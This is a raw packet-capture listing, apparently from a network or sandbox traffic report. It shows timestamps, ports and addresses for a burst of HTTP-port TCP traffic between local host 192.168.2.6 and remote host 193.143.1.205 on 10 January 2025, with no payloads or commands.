Jan 10, 2025 20:17:55.749109030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749119043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749129057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749176979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749212980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749212980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749219894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749231100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749253035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749268055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749322891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749334097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749345064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749356031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749356031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749366999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749428034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749428034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749485016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749545097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749555111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749566078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749577045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749578953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749680996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749707937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749716043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749716043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749717951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749741077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749777079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749875069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749890089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749902010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749912024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749922991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749933004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749943972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749943972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749943972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.749953985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749964952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.749974966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.750031948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.750031948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.753464937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753474951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753488064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753499031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753566980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.753566980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.753602982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753613949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753623962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753633976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753652096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753662109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753671885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753674030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.753674030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.753681898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753693104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753703117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753714085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753724098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753735065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.753736973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.753736973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.753779888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.753779888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.754051924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.754200935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.754216909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.754229069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.754237890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.754249096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.754259109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.754268885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.754271030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.754271030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.754280090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.755317926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.774494886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.816247940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816262960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816282988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816294909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816304922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816314936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816324949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816334963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816345930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816354036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816365004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816375017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.816417933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.816417933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.819267988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.840926886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.840945959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.840958118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.840969086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.840980053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.840990067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.841001034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.841038942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.841155052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.850675106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850706100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850716114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850725889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.850775957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.850792885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850802898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850812912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850830078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850838900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850850105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850851059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.850897074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.850897074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.850941896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850950956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850966930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850976944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850986004 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.850986004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.850996971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.851033926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.873534918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.873553038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.873564959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.873615980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.873840094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.873892069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.873920918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.873931885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.873944998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.873955965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.873966932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.873977900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.873981953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874042988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874042988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874066114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874083996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874094963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874105930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874115944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874135971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874145985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874152899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874155998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874175072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874185085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874186039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874191999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874198914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874202013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874213934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874224901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874236107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874245882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874254942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874254942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874257088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874285936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874294996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874305010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874315977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874330997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874330997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874349117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874361038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874392033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874392986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874403000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874403954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874414921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874423981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874494076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874512911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874522924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874535084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874545097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874556065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874566078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874619007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874619007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874636889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874658108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874667883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874753952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874773026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874793053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874824047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.874855995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874867916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.874989033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875019073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875030994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875041962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875052929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875063896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875070095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875075102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875086069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875097036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875108957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875144958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875144958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875189066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875200033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875211000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875221014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875221968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875233889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875243902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875255108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875264883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875276089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875288963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875296116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875299931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875310898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875333071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875350952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875370979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875436068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875447989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875458956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875469923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875483036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875487089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875518084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875545979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875560999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875606060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875607014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875617981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875699997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875783920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875802040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875813007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875823021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875833988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875844002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875849009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875849009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875854969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875866890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875876904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875888109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875897884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875907898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875907898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875907898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875924110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875936031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.875953913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875953913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.875991106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.906905890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.906923056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.906940937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.906953096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.906964064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.906975985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.906986952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.906997919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.907000065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.907114983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.932050943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.932074070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.932085991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.932096958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.932110071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.932120085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.932131052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.932142019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.932251930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.932251930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.941577911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.941593885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.941606045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.941617012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.941627026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.941667080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.941684008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.941695929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.941705942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.941715956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.941725969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.941730022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.941730022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.941865921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.942224026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.942260027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.942270041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.942291021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.942302942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.942306995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.942338943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.942338943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.964509010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964524031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964535952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964546919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964559078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964570045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964581966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964592934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.964648008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.964936018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964946032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964956045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964967012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964972019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964982033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.964982986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.964993000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965014935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965044022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965058088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965066910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965082884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965092897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965099096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965101957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965111017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965122938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965140104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965150118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965159893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965174913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965187073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965193033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:17:55.965195894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965207100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 20:17:55.965218067 CET	80	49710	193.143.1.205	192.168.2.6
